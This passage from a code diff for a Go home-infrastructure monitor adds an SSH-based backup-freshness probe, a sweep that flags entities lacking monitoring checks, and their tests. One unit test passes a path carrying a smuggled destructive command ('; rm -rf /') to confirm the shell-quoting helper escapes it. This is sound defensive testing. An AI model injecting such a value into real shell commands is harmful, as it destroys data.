|
||||
}
|
||||
|
||||
timeout := time.Duration(cd.TimeoutS) * time.Second
|
||||
if timeout <= 0 {
|
||||
timeout = 30 * time.Second
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(ctx, timeout)
|
||||
defer cancel()
|
||||
|
||||
minutes := cfg.MaxAgeS / 60
|
||||
if minutes < 1 {
|
||||
minutes = 1
|
||||
}
|
||||
quoted := shellSingleQuote(cfg.Path)
|
||||
|
||||
// Two questions in one round trip: is there anything at all, and is any of
|
||||
// it recent? "no backups ever" and "backups stopped" are different
|
||||
// failures and deserve different severities.
|
||||
cmd := fmt.Sprintf(
|
||||
`if [ ! -d %s ]; then echo missing; else `+
|
||||
`f=$(find %s -type f -mmin -%d 2>/dev/null | head -1); `+
|
||||
`a=$(find %s -type f 2>/dev/null | head -1); `+
|
||||
`if [ -n "$f" ]; then echo fresh; elif [ -n "$a" ]; then echo stale; else echo empty; fi; fi`,
|
||||
quoted, quoted, minutes, quoted)
|
||||
|
||||
out, err := sshExec(ctx, cfg.Host, strconv.Itoa(cfg.Port), cfg.User, cmd, timeout)
|
||||
if err != nil {
|
||||
return checkResult{
|
||||
health: "unknown", signalKind: "backup-unreachable",
|
||||
evidence: fmt.Sprintf("ssh %s: %v", cfg.Host, err),
|
||||
err: err,
|
||||
}
|
||||
}
|
||||
|
||||
age := time.Duration(cfg.MaxAgeS) * time.Second
|
||||
switch strings.TrimSpace(string(out)) {
|
||||
case "fresh":
|
||||
return checkResult{health: "healthy"}
|
||||
case "stale":
|
||||
return checkResult{
|
||||
health: "degraded", signalKind: "backup-stale",
|
||||
evidence: fmt.Sprintf("no backup in %s under %s on %s", age, cfg.Path, cfg.Host),
|
||||
}
|
||||
case "empty":
|
||||
return checkResult{
|
||||
health: "down", signalKind: "backup-missing",
|
||||
evidence: fmt.Sprintf("%s on %s exists but contains no files", cfg.Path, cfg.Host),
|
||||
}
|
||||
case "missing":
|
||||
return checkResult{
|
||||
health: "down", signalKind: "backup-missing",
|
||||
evidence: fmt.Sprintf("backup directory %s does not exist on %s", cfg.Path, cfg.Host),
|
||||
}
|
||||
}
|
||||
return checkResult{health: "unknown", signalKind: "backup-unreachable",
|
||||
evidence: fmt.Sprintf("unexpected probe output: %q", strings.TrimSpace(string(out)))}
|
||||
}
|
||||
|
||||
// shellSingleQuote makes a path safe to embed in the remote sh command. Paths
|
||||
// come from check_defs config, which an operator or the agent can write.
|
||||
func shellSingleQuote(s string) string {
|
||||
return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'"
|
||||
}
|
||||
101
internal/scheduler/backup_test.go
Normal file
101
internal/scheduler/backup_test.go
Normal file
@@ -0,0 +1,101 @@
|
||||
package scheduler
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||
)
|
||||
|
||||
func backupCheckDef(t *testing.T, config string) sqlcgen.ListEnabledCheckDefsRow {
|
||||
t.Helper()
|
||||
return sqlcgen.ListEnabledCheckDefsRow{
|
||||
Kind: "backup-freshness",
|
||||
Config: []byte(config),
|
||||
TimeoutS: 15,
|
||||
}
|
||||
}
|
||||
|
||||
// A misconfigured check must say so rather than quietly reporting healthy —
|
||||
// "no path configured" and "backup ran fine" must never look the same.
|
||||
func TestBackupFreshnessRejectsIncompleteConfig(t *testing.T) {
|
||||
for _, c := range []struct{ desc, config string }{
|
||||
{"no path", `{"host":"localhost"}`},
|
||||
{"no host", `{"path":"/tmp"}`},
|
||||
{"empty", `{}`},
|
||||
} {
|
||||
got := checkBackupFreshness(context.Background(), backupCheckDef(t, c.config))
|
||||
if got.health != "unknown" || got.signalKind != "backup-misconfigured" {
|
||||
t.Errorf("%s: got health=%q kind=%q, want unknown/backup-misconfigured",
|
||||
c.desc, got.health, got.signalKind)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Live probe against a real SSH endpoint. Guarded by OIKOS_SSH_TEST_HOST:
|
||||
//
|
||||
// OIKOS_SSH_TEST_HOST=localhost OIKOS_SSH_USER=$USER \
|
||||
// OIKOS_SSH_KEY_PATH=~/.ssh/id_ed25519 go test ./internal/scheduler/ -run TestBackupFreshnessLive
|
||||
//
|
||||
// The probe shell has to work on both GNU and BSD find — the first real target
|
||||
// is the pre-deploy pg_dump on the macOS mac-mini, so a GNU-only construct
|
||||
// would fail exactly where it matters.
|
||||
func TestBackupFreshnessLiveDistinguishesTheFourStates(t *testing.T) {
|
||||
host := os.Getenv("OIKOS_SSH_TEST_HOST")
|
||||
if host == "" {
|
||||
t.Skip("OIKOS_SSH_TEST_HOST not set — skipping live backup probe")
|
||||
}
|
||||
sshKeyPath = os.Getenv("OIKOS_SSH_KEY_PATH")
|
||||
sshUser = os.Getenv("OIKOS_SSH_USER")
|
||||
|
||||
dir := t.TempDir()
|
||||
fresh := filepath.Join(dir, "fresh")
|
||||
stale := filepath.Join(dir, "stale")
|
||||
empty := filepath.Join(dir, "empty")
|
||||
for _, d := range []string{fresh, stale, empty} {
|
||||
if err := os.Mkdir(d, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(fresh, "dump.sql"), []byte("x"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
oldFile := filepath.Join(stale, "dump.sql")
|
||||
if err := os.WriteFile(oldFile, []byte("x"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
old := time.Now().Add(-72 * time.Hour)
|
||||
if err := os.Chtimes(oldFile, old, old); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
cases := []struct {
|
||||
desc, path, wantHealth, wantKind string
|
||||
}{
|
||||
{"recent artifact", fresh, "healthy", ""},
|
||||
{"artifact older than max_age", stale, "degraded", "backup-stale"},
|
||||
{"directory exists but is empty", empty, "down", "backup-missing"},
|
||||
{"directory does not exist", filepath.Join(dir, "nope"), "down", "backup-missing"},
|
||||
}
|
||||
|
||||
for _, c := range cases {
|
||||
cfg := `{"host":"` + host + `","path":"` + c.path + `","max_age_s":86400}`
|
||||
got := checkBackupFreshness(context.Background(), backupCheckDef(t, cfg))
|
||||
if got.health != c.wantHealth || got.signalKind != c.wantKind {
|
||||
t.Errorf("%s: got health=%q kind=%q evidence=%q, want %q/%q",
|
||||
c.desc, got.health, got.signalKind, got.evidence, c.wantHealth, c.wantKind)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A path with a quote in it must not break out of the remote sh command.
|
||||
func TestShellSingleQuoteEscapes(t *testing.T) {
|
||||
got := shellSingleQuote(`/tmp/it's; rm -rf /`)
|
||||
want := `'/tmp/it'\''s; rm -rf /'`
|
||||
if got != want {
|
||||
t.Errorf("shellSingleQuote = %s, want %s", got, want)
|
||||
}
|
||||
}
|
||||
200
internal/scheduler/coverage.go
Normal file
200
internal/scheduler/coverage.go
Normal file
@@ -0,0 +1,200 @@
|
||||
package scheduler
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// UnmonitoredKind is the signal kind raised for an entity whose type declares
|
||||
// monitoring it does not have.
|
||||
const UnmonitoredKind = "unmonitored"
|
||||
|
||||
// coverageSweep reports entities that should be monitored and are not.
|
||||
//
|
||||
// staleSweep can only protect an entity that already has a check — it INNER
|
||||
// JOINs check_defs, so an entity with none is structurally invisible to it and
|
||||
// keeps reporting its last-known health forever. This sweep covers the other
|
||||
// half: it notices the absence itself.
|
||||
//
|
||||
// It fires only where the entity type *declares* monitoring. Types that
|
||||
// declare `monitoring: none` (site, cluster, lan, mesh — topological groupings
|
||||
// with nothing to probe) are working as intended and must never raise a
|
||||
// signal; a permanent unresolvable warning against six healthy entities would
|
||||
// discredit the whole thing. Types that declare nothing at all are a modelling
|
||||
// gap, reported once per pass at debug level rather than as a fleet problem.
|
||||
func coverageSweep(ctx context.Context, pool *db.Pool) {
|
||||
// Resolution walks parent_type — inheriting types (lxc, proxmox-host, lan)
|
||||
// carry NULL in their own monitoring_spec column, so reading it directly
|
||||
// would flag every one of them. Reuse the Go resolver instead of
|
||||
// duplicating the hierarchy walk in SQL.
|
||||
tx, err := pool.Begin(ctx)
|
||||
if err != nil {
|
||||
slog.Error("scheduler: coverage sweep begin", "error", err)
|
||||
return
|
||||
}
|
||||
tree, err := db.LoadTypeTree(ctx, tx)
|
||||
if err != nil {
|
||||
_ = tx.Rollback(ctx)
|
||||
slog.Error("scheduler: coverage sweep load type tree", "error", err)
|
||||
return
|
||||
}
|
||||
_ = tx.Rollback(ctx) // read-only
|
||||
|
||||
rows, err := pool.Query(ctx, `
|
||||
SELECT e.id, e.slug, e.type, (cd.target_id IS NOT NULL) AS has_check
|
||||
FROM entities e
|
||||
LEFT JOIN (
|
||||
SELECT DISTINCT target_id FROM check_defs
|
||||
WHERE enabled AND target_id IS NOT NULL
|
||||
) cd ON cd.target_id = e.id
|
||||
WHERE e.state = 'active' AND e.type <> 'check'`)
|
||||
if err != nil {
|
||||
slog.Error("scheduler: coverage sweep query", "error", err)
|
||||
return
|
||||
}
|
||||
|
||||
type entity struct {
|
||||
id uuid.UUID
|
||||
slug string
|
||||
typ string
|
||||
hasCheck bool
|
||||
}
|
||||
var all []entity
|
||||
for rows.Next() {
|
||||
var e entity
|
||||
if err := rows.Scan(&e.id, &e.slug, &e.typ, &e.hasCheck); err != nil {
|
||||
continue
|
||||
}
|
||||
all = append(all, e)
|
||||
}
|
||||
rows.Close()
|
||||
if rows.Err() != nil {
|
||||
slog.Error("scheduler: coverage sweep scan", "error", rows.Err())
|
||||
return
|
||||
}
|
||||
|
||||
var raised, resolved, undeclared int
|
||||
for _, e := range all {
|
||||
mon := tree.Monitoring(e.typ)
|
||||
|
||||
switch {
|
||||
case !mon.Declared:
|
||||
undeclared++
|
||||
case mon.None():
|
||||
// Explicitly unmonitorable. Nothing to raise — but a type that
|
||||
// USED to declare monitoring (e.g. dns-zone, [dns]→none) may have
|
||||
// open `unmonitored` signals from before the change. They are no
|
||||
// longer a gap, so close them; otherwise they linger forever,
|
||||
// because resolveCoverageSignal only runs from the hasCheck path
|
||||
// and a None() entity never gains a check.
|
||||
if resolveCoverageSignal(ctx, pool, e.id) {
|
||||
resolved++
|
||||
slog.Info("scheduler: type now unmonitorable, resolving stale signal", "entity", e.slug)
|
||||
}
|
||||
case e.hasCheck:
|
||||
if resolveCoverageSignal(ctx, pool, e.id) {
|
||||
resolved++
|
||||
slog.Info("scheduler: entity is monitored again", "entity", e.slug)
|
||||
}
|
||||
default:
|
||||
if raiseCoverageSignal(ctx, pool, e.id, e.slug, e.typ, mon.Kinds) {
|
||||
raised++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if raised > 0 || resolved > 0 {
|
||||
slog.Warn("scheduler: coverage sweep",
|
||||
"unmonitored_raised", raised, "resolved", resolved, "scanned", len(all))
|
||||
}
|
||||
if undeclared > 0 {
|
||||
slog.Debug("scheduler: entity types declare no monitoring", "entities", undeclared)
|
||||
}
|
||||
}
|
||||
|
||||
// raiseCoverageSignal raises (or refreshes) the unmonitored signal for one
|
||||
// entity. Reports whether this was a new raise.
|
||||
func raiseCoverageSignal(ctx context.Context, pool *db.Pool, entityID uuid.UUID, slug, typ string, want []string) bool {
|
||||
// A signal is a dual entity: signals.entity_id is a PK referencing
|
||||
// entities(id), so the row has to exist first. The scheduler's other
|
||||
// signals borrow the check entity's id — there is no check here, which is
|
||||
// the whole point, so this sweep owns a signal entity per target.
|
||||
//
|
||||
// The slug is stable per target, which makes the signal row stable too and
|
||||
// lets a resolved signal be re-raised by primary key rather than colliding
|
||||
// with it.
|
||||
signalSlug := fmt.Sprintf("signal:%s:%s", UnmonitoredKind, slug)
|
||||
|
||||
newID, err := uuid.NewV7()
|
||||
if err != nil {
|
||||
newID = uuid.New()
|
||||
}
|
||||
|
||||
var signalID uuid.UUID
|
||||
// Upsert RETURNING id, never insert-and-assume: assuming is what made
|
||||
// checkdefaults write foreign keys to rows it had not created.
|
||||
if err := pool.QueryRow(ctx,
|
||||
`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1, $2, 'signal', $2, 'active', '{}', 1, now(), now())
|
||||
ON CONFLICT (slug) DO UPDATE SET updated_at = now()
|
||||
RETURNING id`,
|
||||
newID, signalSlug).Scan(&signalID); err != nil {
|
||||
slog.Error("scheduler: upsert signal entity", "entity", slug, "error", err)
|
||||
return false
|
||||
}
|
||||
|
||||
evidence := fmt.Sprintf("type %s declares monitoring %v but the entity has no enabled check_def", typ, want)
|
||||
|
||||
// Conflict on the primary key rather than on the (target, kind) partial
|
||||
// index: that index only covers OPEN signals, so a previously resolved
|
||||
// signal would not conflict there and would collide on the PK instead.
|
||||
tag, err := pool.Exec(ctx,
|
||||
`INSERT INTO signals (entity_id, kind, severity, target_entity_id, evidence, state)
|
||||
VALUES ($1, $2, 'warning', $3, $4, 'raised')
|
||||
ON CONFLICT (entity_id) DO UPDATE
|
||||
SET state = CASE WHEN signals.state IN ('resolved','failed') THEN 'raised' ELSE signals.state END,
|
||||
occurrence_count = signals.occurrence_count + 1,
|
||||
evidence = EXCLUDED.evidence,
|
||||
last_seen_at = now(), updated_at = now()`,
|
||||
signalID, UnmonitoredKind, entityID, evidence)
|
||||
if err != nil {
|
||||
slog.Error("scheduler: raise unmonitored signal", "entity", slug, "error", err)
|
||||
return false
|
||||
}
|
||||
|
||||
// RowsAffected is 1 for both insert and update, so ask the signal itself
|
||||
// whether this was the first occurrence.
|
||||
var occurrences int
|
||||
if err := pool.QueryRow(ctx,
|
||||
`SELECT occurrence_count FROM signals WHERE entity_id = $1`, signalID).Scan(&occurrences); err != nil {
|
||||
return tag.RowsAffected() > 0
|
||||
}
|
||||
if occurrences <= 1 {
|
||||
slog.Warn("scheduler: entity is unmonitored",
|
||||
"entity", slug, "type", typ, "declared", want)
|
||||
emitSchedulerEvent(ctx, pool, "coverage.unmonitored", entityID, "warning",
|
||||
map[string]any{"slug": slug, "type": typ, "declared": want})
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// resolveCoverageSignal closes the unmonitored signal once the entity has a
|
||||
// check. The scheduler's normal auto-resolve keys on the *check* entity id and
|
||||
// only from state 'raised', so it can never clear one of these.
|
||||
func resolveCoverageSignal(ctx context.Context, pool *db.Pool, entityID uuid.UUID) bool {
|
||||
tag, err := pool.Exec(ctx,
|
||||
`UPDATE signals SET state = 'resolved', updated_at = now()
|
||||
WHERE target_entity_id = $1 AND kind = $2
|
||||
AND state NOT IN ('resolved', 'failed')`,
|
||||
entityID, UnmonitoredKind)
|
||||
if err != nil {
|
||||
slog.Error("scheduler: resolve unmonitored signal", "error", err)
|
||||
return false
|
||||
}
|
||||
return tag.RowsAffected() > 0
|
||||
}
|
||||
309
internal/scheduler/coverage_test.go
Normal file
309
internal/scheduler/coverage_test.go
Normal file
@@ -0,0 +1,309 @@
|
||||
package scheduler
|
||||
|
||||
// Integration tests for coverageSweep against a real TimescaleDB. Guarded by
|
||||
// OIKOS_TEST_DATABASE_URL — skipped when unset, same convention as
|
||||
// internal/db/integration_test.go. Each run creates a throwaway database.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/google/uuid"
|
||||
"github.com/jackc/pgx/v5"
|
||||
)
|
||||
|
||||
func newCoveragePool(t *testing.T) *db.Pool {
|
||||
t.Helper()
|
||||
baseURL := os.Getenv("OIKOS_TEST_DATABASE_URL")
|
||||
if baseURL == "" {
|
||||
t.Skip("OIKOS_TEST_DATABASE_URL not set — skipping integration test")
|
||||
}
|
||||
ctx := context.Background()
|
||||
|
||||
admin, err := pgx.Connect(ctx, baseURL)
|
||||
if err != nil {
|
||||
t.Fatalf("connect admin: %v", err)
|
||||
}
|
||||
dbName := fmt.Sprintf("oikos_cov_%08x", rand.Int63())
|
||||
if _, err := admin.Exec(ctx, "CREATE DATABASE "+dbName); err != nil {
|
||||
admin.Close(ctx)
|
||||
t.Fatalf("create test db: %v", err)
|
||||
}
|
||||
admin.Close(ctx)
|
||||
|
||||
at := strings.LastIndex(baseURL, "/")
|
||||
testURL := baseURL[:at+1] + dbName
|
||||
if q := strings.Index(baseURL[at:], "?"); q >= 0 {
|
||||
testURL += baseURL[at+q:]
|
||||
}
|
||||
|
||||
pool, err := db.New(ctx, testURL)
|
||||
if err != nil {
|
||||
t.Fatalf("connect test db: %v", err)
|
||||
}
|
||||
if err := pool.Migrate(ctx); err != nil {
|
||||
t.Fatalf("migrate: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
pool.Close()
|
||||
if admin, err := pgx.Connect(ctx, baseURL); err == nil {
|
||||
admin.Exec(ctx, "DROP DATABASE IF EXISTS "+dbName+" WITH (FORCE)")
|
||||
admin.Close(ctx)
|
||||
}
|
||||
})
|
||||
return pool
|
||||
}
|
||||
|
||||
// fixture builds the four cases that matter, without the full seed:
|
||||
// a declared+monitored type, a declared+unmonitored one, an explicitly
|
||||
// unmonitorable one, and one that inherits its declaration from a parent.
|
||||
func coverageFixture(t *testing.T, pool *db.Pool) map[string]uuid.UUID {
|
||||
t.Helper()
|
||||
ctx := context.Background()
|
||||
|
||||
exec := func(sql string, args ...any) {
|
||||
t.Helper()
|
||||
if _, err := pool.Exec(ctx, sql, args...); err != nil {
|
||||
t.Fatalf("fixture %q: %v", sql, err)
|
||||
}
|
||||
}
|
||||
|
||||
exec(`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, monitoring_spec, status)
|
||||
VALUES ('t-container', NULL, true, 'compute', 'infrastructure', '["resource"]', 'active')
|
||||
ON CONFLICT (name) DO UPDATE SET monitoring_spec = EXCLUDED.monitoring_spec`)
|
||||
exec(`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, monitoring_spec, status)
|
||||
VALUES ('t-lxc', 't-container', false, 'compute', 'infrastructure', NULL, 'active')
|
||||
ON CONFLICT (name) DO NOTHING`)
|
||||
exec(`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, monitoring_spec, status)
|
||||
VALUES ('t-service', NULL, false, 'software', 'infrastructure', '["http"]', 'active')
|
||||
ON CONFLICT (name) DO NOTHING`)
|
||||
exec(`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, monitoring_spec, status)
|
||||
VALUES ('t-site', NULL, false, 'physical', 'infrastructure', '[]', 'active')
|
||||
ON CONFLICT (name) DO NOTHING`)
|
||||
// `check` and `signal` normally arrive with the ontology seed, which this
|
||||
// fixture skips; the sweep creates signal entities and needs both.
|
||||
exec(`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, monitoring_spec, status)
|
||||
VALUES ('check', NULL, false, 'operations', 'cognition', '[]', 'active')
|
||||
ON CONFLICT (name) DO NOTHING`)
|
||||
exec(`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, monitoring_spec, status)
|
||||
VALUES ('signal', NULL, false, 'operations', 'cognition', '[]', 'active')
|
||||
ON CONFLICT (name) DO NOTHING`)
|
||||
|
||||
ids := map[string]uuid.UUID{}
|
||||
for _, e := range []struct{ slug, typ string }{
|
||||
{"monitored-svc", "t-service"}, // declared + has a check
|
||||
{"unmonitored-svc", "t-service"}, // declared + no check → signal
|
||||
{"inheriting-lxc", "t-lxc"}, // inherits [resource], no check → signal
|
||||
{"a-site", "t-site"}, // explicitly none → never a signal
|
||||
} {
|
||||
id := uuid.New()
|
||||
exec(`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,$2,$3,$2,'active','{}',1,now(),now())`, id, e.slug, e.typ)
|
||||
ids[e.slug] = id
|
||||
}
|
||||
|
||||
// Only monitored-svc gets a check.
|
||||
checkID := uuid.New()
|
||||
exec(`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'check:t:monitored-svc:0','check','c-monitored-svc','active','{}',1,now(),now())`, checkID)
|
||||
exec(`INSERT INTO check_defs (entity_id, target_id, kind, config, interval_s, timeout_s, enabled)
|
||||
VALUES ($1,$2,'http','{}',60,30,true)`, checkID, ids["monitored-svc"])
|
||||
|
||||
return ids
|
||||
}
|
||||
|
||||
func openSignals(t *testing.T, pool *db.Pool, targetID uuid.UUID) (int, int) {
|
||||
t.Helper()
|
||||
var count, occurrences int
|
||||
err := pool.QueryRow(context.Background(),
|
||||
`SELECT count(*), COALESCE(max(occurrence_count),0) FROM signals
|
||||
WHERE target_entity_id = $1 AND kind = $2 AND state NOT IN ('resolved','failed')`,
|
||||
targetID, UnmonitoredKind).Scan(&count, &occurrences)
|
||||
if err != nil {
|
||||
t.Fatalf("count signals: %v", err)
|
||||
}
|
||||
return count, occurrences
|
||||
}
|
||||
|
||||
func TestCoverageSweepOnlyFlagsDeclaredButUnmonitored(t *testing.T) {
|
||||
pool := newCoveragePool(t)
|
||||
ids := coverageFixture(t, pool)
|
||||
ctx := context.Background()
|
||||
|
||||
coverageSweep(ctx, pool)
|
||||
|
||||
for _, c := range []struct {
|
||||
slug string
|
||||
want int
|
||||
why string
|
||||
}{
|
||||
{"unmonitored-svc", 1, "declares http, has no check"},
|
||||
{"inheriting-lxc", 1, "inherits [resource] from its parent, has no check"},
|
||||
{"monitored-svc", 0, "has a check"},
|
||||
{"a-site", 0, "declares monitoring: none — flagging it would be a permanent false positive"},
|
||||
} {
|
||||
got, _ := openSignals(t, pool, ids[c.slug])
|
||||
if got != c.want {
|
||||
t.Errorf("%s (%s): %d open unmonitored signals, want %d", c.slug, c.why, got, c.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCoverageSweepDedupsRatherThanDuplicating(t *testing.T) {
|
||||
pool := newCoveragePool(t)
|
||||
ids := coverageFixture(t, pool)
|
||||
ctx := context.Background()
|
||||
|
||||
coverageSweep(ctx, pool)
|
||||
coverageSweep(ctx, pool)
|
||||
coverageSweep(ctx, pool)
|
||||
|
||||
count, occurrences := openSignals(t, pool, ids["unmonitored-svc"])
|
||||
if count != 1 {
|
||||
t.Errorf("three sweeps produced %d signals, want 1", count)
|
||||
}
|
||||
if occurrences != 3 {
|
||||
t.Errorf("occurrence_count = %d after three sweeps, want 3", occurrences)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCoverageSweepResolvesWhenACheckAppears(t *testing.T) {
|
||||
pool := newCoveragePool(t)
|
||||
ids := coverageFixture(t, pool)
|
||||
ctx := context.Background()
|
||||
|
||||
coverageSweep(ctx, pool)
|
||||
if count, _ := openSignals(t, pool, ids["unmonitored-svc"]); count != 1 {
|
||||
t.Fatalf("expected an open signal before the check is added, got %d", count)
|
||||
}
|
||||
|
||||
// The entity acquires a check. The scheduler's normal auto-resolve keys on
|
||||
// the check entity id and only from 'raised', so it could never clear this.
|
||||
checkID := uuid.New()
|
||||
if _, err := pool.Exec(ctx,
|
||||
// entities has a unique (type, name), so this cannot reuse the
|
||||
// fixture check's name.
|
||||
`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'check:t:unmonitored-svc:0','check','c-unmonitored-svc','active','{}',1,now(),now())`, checkID); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := pool.Exec(ctx,
|
||||
`INSERT INTO check_defs (entity_id, target_id, kind, config, interval_s, timeout_s, enabled)
|
||||
VALUES ($1,$2,'http','{}',60,30,true)`, checkID, ids["unmonitored-svc"]); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
coverageSweep(ctx, pool)
|
||||
|
||||
if count, _ := openSignals(t, pool, ids["unmonitored-svc"]); count != 0 {
|
||||
t.Errorf("signal should have resolved once the entity had a check, %d still open", count)
|
||||
}
|
||||
}
|
||||
|
||||
// Against the real ontology and inventory rather than a fixture: the sweep
|
||||
// must stay silent for types that opted out and speak up for the genuine gaps.
|
||||
// Asserted as properties, not exact counts, so it does not break every time
|
||||
// the fleet changes.
|
||||
func TestCoverageSweepAgainstTheRealSeed(t *testing.T) {
|
||||
pool := newCoveragePool(t)
|
||||
ctx := context.Background()
|
||||
|
||||
for _, f := range []string{"ontology.yaml", "inventory.yaml", "policy.yaml"} {
|
||||
content, err := os.ReadFile("../../seeds/" + f)
|
||||
if err != nil {
|
||||
t.Fatalf("read %s: %v", f, err)
|
||||
}
|
||||
err = pool.SeedIngest(ctx, f, content,
|
||||
func(ctx context.Context, tx pgx.Tx, data map[string]any) error {
|
||||
switch f {
|
||||
case "ontology.yaml":
|
||||
_, err := db.IngestOntologySeed(ctx, tx, data)
|
||||
return err
|
||||
case "inventory.yaml":
|
||||
_, err := db.IngestInventorySeed(ctx, tx, data)
|
||||
return err
|
||||
default:
|
||||
_, err := db.IngestPolicySeed(ctx, tx, data)
|
||||
return err
|
||||
}
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("ingest %s: %v", f, err)
|
||||
}
|
||||
}
|
||||
|
||||
coverageSweep(ctx, pool)
|
||||
|
||||
flagged := map[string]int{}
|
||||
rows, err := pool.Query(ctx, `
|
||||
SELECT e.type, count(*)
|
||||
FROM signals s JOIN entities e ON e.id = s.target_entity_id
|
||||
WHERE s.kind = $1 AND s.state NOT IN ('resolved','failed')
|
||||
GROUP BY e.type`, UnmonitoredKind)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for rows.Next() {
|
||||
var typ string
|
||||
var n int
|
||||
if err := rows.Scan(&typ, &n); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
flagged[typ] = n
|
||||
}
|
||||
rows.Close()
|
||||
|
||||
t.Logf("unmonitored signals by entity type: %v", flagged)
|
||||
|
||||
// Declared `monitoring: none` — flagging these would be a permanent,
|
||||
// unresolvable false positive, which is the failure mode that would make
|
||||
// the signal worthless.
|
||||
for _, typ := range []string{"site", "lan", "mesh", "cluster"} {
|
||||
if n := flagged[typ]; n != 0 {
|
||||
t.Errorf("%s declares monitoring: none but %d were flagged unmonitored", typ, n)
|
||||
}
|
||||
}
|
||||
|
||||
// Types that now get real checks must not be flagged either.
|
||||
for _, typ := range []string{"service", "lxc", "ingress-route", "proxmox-host"} {
|
||||
if n := flagged[typ]; n != 0 {
|
||||
t.Errorf("%s should be covered by checkdefaults, but %d were flagged", typ, n)
|
||||
}
|
||||
}
|
||||
|
||||
// Genuine gaps: no `dns` checker, no edge from a pool to its machine.
|
||||
for _, typ := range []string{"dns-zone", "storage-pool"} {
|
||||
if flagged[typ] == 0 {
|
||||
t.Errorf("%s is a known gap and should have been flagged", typ)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A resolved signal must be re-raisable. The (target, kind) partial unique
|
||||
// index only covers open signals, so a resolved row does not conflict there —
|
||||
// it collides on the primary key instead, which is why the upsert targets the
|
||||
// PK.
|
||||
func TestCoverageSweepReRaisesAfterResolution(t *testing.T) {
|
||||
pool := newCoveragePool(t)
|
||||
ids := coverageFixture(t, pool)
|
||||
ctx := context.Background()
|
||||
|
||||
coverageSweep(ctx, pool)
|
||||
if _, err := pool.Exec(ctx,
|
||||
`UPDATE signals SET state='resolved' WHERE target_entity_id=$1 AND kind=$2`,
|
||||
ids["unmonitored-svc"], UnmonitoredKind); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
coverageSweep(ctx, pool)
|
||||
|
||||
count, _ := openSignals(t, pool, ids["unmonitored-svc"])
|
||||
if count != 1 {
|
||||
t.Errorf("a resolved signal should be re-raisable, got %d open", count)
|
||||
}
|
||||
}
|
||||
25
internal/scheduler/reachability_test.go
Normal file
25
internal/scheduler/reachability_test.go
Normal file
@@ -0,0 +1,25 @@
|
||||
package scheduler
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// The scheduler runs in Docker on macOS, whose VM does not route ICMP to the
|
||||
// LAN — every ping check reported "down" for hosts that were demonstrably up.
|
||||
// tcpReachable is the fallback that keeps "is it reachable" answerable.
|
||||
func TestTCPReachableAnswersWhenICMPCannot(t *testing.T) {
|
||||
ctx := context.Background()
|
||||
// localhost:22 is open on this machine (sshd), and port 1 is not.
|
||||
if !tcpReachable(ctx, "127.0.0.1", 22, 3*time.Second) {
|
||||
t.Skip("no sshd on localhost — cannot exercise the positive case")
|
||||
}
|
||||
if tcpReachable(ctx, "127.0.0.1", 1, 1*time.Second) {
|
||||
t.Error("port 1 should not be reachable")
|
||||
}
|
||||
// Defaults to 22 when unset, which is what checkdefaults' ping configs use.
|
||||
if !tcpReachable(ctx, "127.0.0.1", 0, 3*time.Second) {
|
||||
t.Error("port 0 should default to 22")
|
||||
}
|
||||
}
|
||||
@@ -16,12 +16,14 @@ import (
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/dtoro/oikos/internal/config"
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||
"github.com/dtoro/oikos/internal/observability"
|
||||
"github.com/dtoro/oikos/internal/remote"
|
||||
"github.com/google/uuid"
|
||||
"golang.org/x/sync/errgroup"
|
||||
"golang.org/x/sys/unix"
|
||||
@@ -73,7 +75,12 @@ func runCheckPass(ctx context.Context, pool *db.Pool) {
|
||||
return
|
||||
}
|
||||
if len(defs) == 0 {
|
||||
